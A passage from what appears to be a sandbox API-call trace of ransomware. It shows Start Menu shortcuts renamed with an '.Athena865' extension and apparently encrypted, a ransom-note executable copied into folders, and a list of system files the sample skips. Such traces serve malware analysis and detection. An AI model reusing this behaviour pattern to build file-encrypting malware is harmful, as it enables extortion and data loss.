Player.lnk.Athena865" (normalized: "c:\\programdata\\start menu\\programs\\windows media player.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0099.607] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1547) returned 1 [0099.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.607] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.607] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.608] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.608] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.609] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x910, lpName=0x0) returned 0x17c [0099.610] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x910) returned 0x100000 [0099.611] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.611] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.611] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.611] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5399c8 [0099.611] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5399c8 | out: hHeap=0x4f0000) returned 1 [0099.612] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.612] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.612] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.612] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.612] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.612] CloseHandle (hObject=0x17c) returned 1 [0099.612] CloseHandle (hObject=0x154) returned 1 [0099.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.612] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.613] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aa62784, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8aa62784, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8aa62784, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XPS Viewer.lnk", cAlternateFileName="XPSVIE~1.LNK")) returned 1 [0099.613] lstrcmpiW (lpString1="XPS Viewer.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0099.613] lstrcmpiW (lpString1="XPS Viewer.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0099.613] lstrcmpiW (lpString1="XPS Viewer.lnk", lpString2=".") returned 1 [0099.613] lstrcmpiW (lpString1="XPS Viewer.lnk", lpString2="..") returned 1 [0099.613] lstrcmpiW (lpString1="XPS Viewer.lnk", lpString2="windows") returned 1 [0099.613] lstrcmpiW (lpString1="XPS Viewer.lnk", lpString2="bootmgr") returned 1 [0099.613] lstrcmpiW (lpString1="XPS Viewer.lnk", lpString2="temp") returned 1 [0099.613] lstrcmpiW (lpString1="XPS Viewer.lnk", lpString2="pagefile.sys") returned 1 [0099.613] lstrcmpiW (lpString1="XPS Viewer.lnk", lpString2="boot") returned 1 [0099.613] lstrcmpiW (lpString1="XPS Viewer.lnk", lpString2="ids.txt") returned 1 [0099.613] lstrcmpiW (lpString1="XPS Viewer.lnk", lpString2="ntuser.dat") returned 1 [0099.613] lstrcmpiW (lpString1="XPS Viewer.lnk", lpString2="perflogs") returned 1 [0099.613] lstrcmpiW (lpString1="XPS Viewer.lnk", lpString2="MSBuild") returned 1 [0099.613] lstrlenW (lpString="XPS Viewer.lnk") returned 14 [0099.613] lstrcpyW (in: lpString1=0x241e88e, lpString2="XPS Viewer.lnk" | out: lpString1="XPS Viewer.lnk") returned="XPS Viewer.lnk" [0099.613] lstrlenW (lpString="XPS Viewer.lnk") returned 14 [0099.613] lstrlenW (lpString="Athena865") returned 9 [0099.613] lstrcmpiW (lpString1="iewer.lnk", lpString2="Athena865") returned 1 [0099.613] lstrlenW (lpString=".dll") returned 4 [0099.613] lstrcmpiW (lpString1="XPS Viewer.lnk", lpString2=".dll") returned 1 [0099.613] lstrlenW (lpString=".lnk") returned 4 [0099.613] lstrcmpiW (lpString1="XPS Viewer.lnk", lpString2=".lnk") returned 1 [0099.613] lstrlenW (lpString=".ini") returned 4 [0099.613] lstrcmpiW (lpString1="XPS Viewer.lnk", lpString2=".ini") returned 1 [0099.613] lstrlenW (lpString=".sys") returned 4 [0099.613] lstrcmpiW (lpString1="XPS Viewer.lnk", lpString2=".sys") returned 1 [0099.613] lstrlenW (lpString="XPS Viewer.lnk") returned 14 [0099.614] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Start Menu\\Programs\\XPS Viewer.lnk.Athena865") returned 59 [0099.614] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Start Menu\\Programs\\XPS Viewer.lnk" (normalized: "c:\\programdata\\start menu\\programs\\xps viewer.lnk"), lpNewFileName="C:\\ProgramData\\Start Menu\\Programs\\XPS Viewer.lnk.Athena865" (normalized: "c:\\programdata\\start menu\\programs\\xps viewer.lnk.athena865"), dwFlags=0x1) returned 1 [0099.614] CreateFileW (lpFileName="C:\\ProgramData\\Start Menu\\Programs\\XPS Viewer.lnk.Athena865" (normalized: "c:\\programdata\\start menu\\programs\\xps viewer.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0099.615] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1246) returned 1 [0099.615] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.615] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.615] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.615] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.616] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.616] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.616] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7e0, lpName=0x0) returned 0x17c [0099.616] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7e0) returned 0x100000 [0099.616] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.617] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.617] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.617] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5399c8 [0099.617] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5399c8 | out: hHeap=0x4f0000) returned 1 [0099.617] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.617] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.617] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.617] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.617] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.618] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.618] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.618] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.618] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.618] CloseHandle (hObject=0x17c) returned 1 [0099.618] CloseHandle (hObject=0x154) returned 1 [0099.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.619] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aa62784, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8aa62784, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8aa62784, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XPS Viewer.lnk", cAlternateFileName="XPSVIE~1.LNK")) returned 0 [0099.619] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0099.619] ReleaseMutex (hMutex=0xec) returned 1 [0099.620] CloseHandle (hObject=0xec) returned 1 [0099.620] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Sun\\Java" | out: lpString1="C:\\ProgramData\\Sun\\Java") returned="C:\\ProgramData\\Sun\\Java" [0099.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a8d8 | out: hHeap=0x4f0000) returned 1 [0099.620] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50dbb0 | out: hHeap=0x4f0000) returned 1 [0099.620] lstrlenW (lpString="C:\\ProgramData\\Sun\\Java") returned 23 [0099.620] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\E54C053DC7738D0B3FE2C5FB9E410B0E") returned 0xec [0099.620] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0099.620] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Sun\\Java" | out: lpString1="C:\\ProgramData\\Sun\\Java") returned="C:\\ProgramData\\Sun\\Java" [0099.620] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0099.620] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Sun\\Java\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\sun\\java\\how to back your files.exe"), bFailIfExists=1) returned 0 [0099.620] CreateFileW (lpFileName="C:\\ProgramData\\Sun\\Java\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\sun\\java\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0099.621] GetLastError () returned 0x0 [0099.621] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0099.621] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53f390 [0099.621] ReadFile (in: hFile=0xf4, lpBuffer=0x53f390, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53f390*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0099.622] CloseHandle (hObject=0xf4) returned 1 [0099.622] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.622] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0099.622] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Sun\\Java\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xc4cacb60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4cacb60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0099.622] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.622] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.622] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0099.622] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xc4cacb60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4cacb60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.622] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.622] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.622] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0099.622] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0099.622] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc4cacb60, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4cacb60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0099.622] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0099.622] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 1 [0099.622] lstrcmpiW (lpString1="Java Update", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0099.622] lstrcmpiW (lpString1="Java Update", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0099.622] lstrcmpiW (lpString1="Java Update", lpString2=".") returned 1 [0099.622] lstrcmpiW (lpString1="Java Update", lpString2="..") returned 1 [0099.622] lstrcmpiW (lpString1="Java Update", lpString2="windows") returned -1 [0099.623] lstrcmpiW (lpString1="Java Update", lpString2="bootmgr") returned 1 [0099.623] lstrcmpiW (lpString1="Java Update", lpString2="temp") returned -1 [0099.623] lstrcmpiW (lpString1="Java Update", lpString2="pagefile.sys") returned -1 [0099.623] lstrcmpiW (lpString1="Java Update", lpString2="boot") returned 1 [0099.623] lstrcmpiW (lpString1="Java Update", lpString2="ids.txt") returned 1 [0099.623] lstrcmpiW (lpString1="Java Update", lpString2="ntuser.dat") returned -1 [0099.623] lstrcmpiW (lpString1="Java Update", lpString2="perflogs") returned -1 [0099.623] lstrcmpiW (lpString1="Java Update", lpString2="MSBuild") returned -1 [0099.623] lstrlenW (lpString="Java Update") returned 11 [0099.623] lstrcpyW (in: lpString1=0x241e878, lpString2="Java Update" | out: lpString1="Java Update") returned="Java Update" [0099.623] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50dbb0 [0099.623] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x48) returned 0x517578 [0099.623] lstrcatW (in: lpString1="Java Update", lpString2="\\" | out: lpString1="Java Update\\") returned="Java Update\\" [0099.623] lstrcatW (in: lpString1="Java Update\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Java Update\\HOW TO BACK YOUR FILES.exe") returned="Java Update\\HOW TO BACK YOUR FILES.exe" [0099.623] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\sun\\java\\java update\\how to back your files.exe"), bFailIfExists=1) returned 1 [0099.625] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 0 [0099.626] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0099.626] ReleaseMutex (hMutex=0xec) returned 1 [0099.626] CloseHandle (hObject=0xec) returned 1 [0099.626] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\System Volume Information\\SPP\\OnlineMetadataCache" | out: lpString1="C:\\System Volume Information\\SPP\\OnlineMetadataCache") returned="C:\\System Volume Information\\SPP\\OnlineMetadataCache" [0099.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0099.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c230 | out: hHeap=0x4f0000) returned 1 [0099.626] lstrlenW (lpString="C:\\System Volume Information\\SPP\\OnlineMetadataCache") returned 52 [0099.626] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\01BA55615C842398C4A2ECA7729F4C43") returned 0xec [0099.626] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0099.626] lstrcatW (in: lpString1="", lpString2="C:\\System Volume Information\\SPP\\OnlineMetadataCache" | out: lpString1="C:\\System Volume Information\\SPP\\OnlineMetadataCache") returned="C:\\System Volume Information\\SPP\\OnlineMetadataCache" [0099.626] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0099.626] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\how to back your files.exe"), bFailIfExists=1) returned 0 [0099.627] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0099.627] GetLastError () returned 0x0 [0099.627] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0099.627] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53f390 [0099.627] ReadFile (in: hFile=0xf4, lpBuffer=0x53f390, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53f390*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0099.628] CloseHandle (hObject=0xf4) returned 1 [0099.628] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.628] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0099.628] FindFirstFileW (in: lpFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x764e1420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc50d71e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc50d71e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0099.628] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.628] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.628] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0099.628] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x764e1420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc50d71e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc50d71e0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.629] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.629] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.629] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0099.629] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0099.629] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc50d71e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc50d71e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0099.629] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0099.629] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf84512c0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xf84512c0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xf84512c0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x998, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{00c95144-e912-40b3-a2d1-b8e12bc815d0}_OnDiskSnapshotProp", cAlternateFileName="{00C95~1")) returned 1 [0099.629] lstrcmpiW (lpString1="{00c95144-e912-40b3-a2d1-b8e12bc815d0}_OnDiskSnapshotProp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0099.629] lstrcmpiW (lpString1="{00c95144-e912-40b3-a2d1-b8e12bc815d0}_OnDiskSnapshotProp", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0099.629] lstrcmpiW (lpString1="{00c95144-e912-40b3-a2d1-b8e12bc815d0}_OnDiskSnapshotProp", lpString2=".") returned 1 [0099.629] lstrcmpiW (lpString1="{00c95144-e912-40b3-a2d1-b8e12bc815d0}_OnDiskSnapshotProp", lpString2="..") returned 1 [0099.629] lstrcmpiW (lpString1="{00c95144-e912-40b3-a2d1-b8e12bc815d0}_OnDiskSnapshotProp", lpString2="windows") returned -1 [0099.629] lstrcmpiW (lpString1="{00c95144-e912-40b3-a2d1-b8e12bc815d0}_OnDiskSnapshotProp", lpString2="bootmgr") returned -1 [0099.629] lstrcmpiW (lpString1="{00c95144-e912-40b3-a2d1-b8e12bc815d0}_OnDiskSnapshotProp", lpString2="temp") returned -1 [0099.629] lstrcmpiW (lpString1="{00c95144-e912-40b3-a2d1-b8e12bc815d0}_OnDiskSnapshotProp", lpString2="pagefile.sys") returned -1 [0099.629] lstrcmpiW (lpString1="{00c95144-e912-40b3-a2d1-b8e12bc815d0}_OnDiskSnapshotProp", lpString2="boot") returned -1 [0099.629] lstrcmpiW (lpString1="{00c95144-e912-40b3-a2d1-b8e12bc815d0}_OnDiskSnapshotProp", lpString2="ids.txt") returned -1 [0099.630] lstrcmpiW (lpString1="{00c95144-e912-40b3-a2d1-b8e12bc815d0}_OnDiskSnapshotProp", lpString2="ntuser.dat") returned -1 [0099.630] lstrcmpiW (lpString1="{00c95144-e912-40b3-a2d1-b8e12bc815d0}_OnDiskSnapshotProp", lpString2="perflogs") returned -1 [0099.630] lstrcmpiW (lpString1="{00c95144-e912-40b3-a2d1-b8e12bc815d0}_OnDiskSnapshotProp", lpString2="MSBuild") returned -1 [0099.630] lstrlenW (lpString="{00c95144-e912-40b3-a2d1-b8e12bc815d0}_OnDiskSnapshotProp") returned 57 [0099.630] lstrcpyW (in: lpString1=0x241e8b2, 